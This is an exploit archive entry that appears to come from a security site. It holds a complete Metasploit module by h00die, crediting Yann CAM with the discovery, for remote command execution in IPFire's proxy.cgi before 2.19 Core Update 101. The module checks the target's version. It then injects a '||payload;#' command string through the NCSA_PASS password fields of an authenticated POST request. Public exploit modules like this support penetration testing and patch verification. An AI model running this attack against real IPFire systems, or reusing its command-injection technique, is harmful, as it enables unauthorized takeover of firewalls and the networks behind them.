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IPFire proxy.cgi Remote Command Execution

IPFire proxy.cgi Remote Command Execution
Posted Jun 9, 2016
Authored by h00die, Yann CAM | Site metasploit.com

IPFire, a free linux based open source firewall distribution, versions prior to 2.19 Update Core 101 contain a remote command execution vulnerability in the proxy.cgi page.

tags | exploit, remote, cgi
systems | linux
SHA-256 | 4455d8714ad0f2e393232ebc31503bf395db118a9964e731f57356a841e46f2a

IPFire proxy.cgi Remote Command Execution

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##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire proxy.cgi RCE',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version < 2.19 Update Core 101 contains a remote command execution
vulnerability in the proxy.cgi page.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Yann CAM' # discovery
],
'References' =>
[
[ 'EDB', '39765' ],
[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true },
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl awk openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 04 2016'
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end

def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/pakfire.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

if version && update && version == "2.19" && update.to_i < 101
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def exploit
begin
# To manually view the vuln page, click to proxy.cgi. At the bottom
# select Local, and save. Ignore the error box, at the bottom of
# the page click the button: User Management.

payload_formatted = "||#{payload.encoded};#"
post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
post_data << "&NCSA_GROUP=standard"
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&SUBMIT=Create+user"
post_data << "&ACTION=Add"
post_data << "&NCSA_MIN_PASS_LEN=6"

res = send_request_cgi(
'uri' => '/cgi-bin/proxy.cgi',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
},
'data' => post_data
)

# success means we hang our session, and wont get back a response
if res
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
end

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
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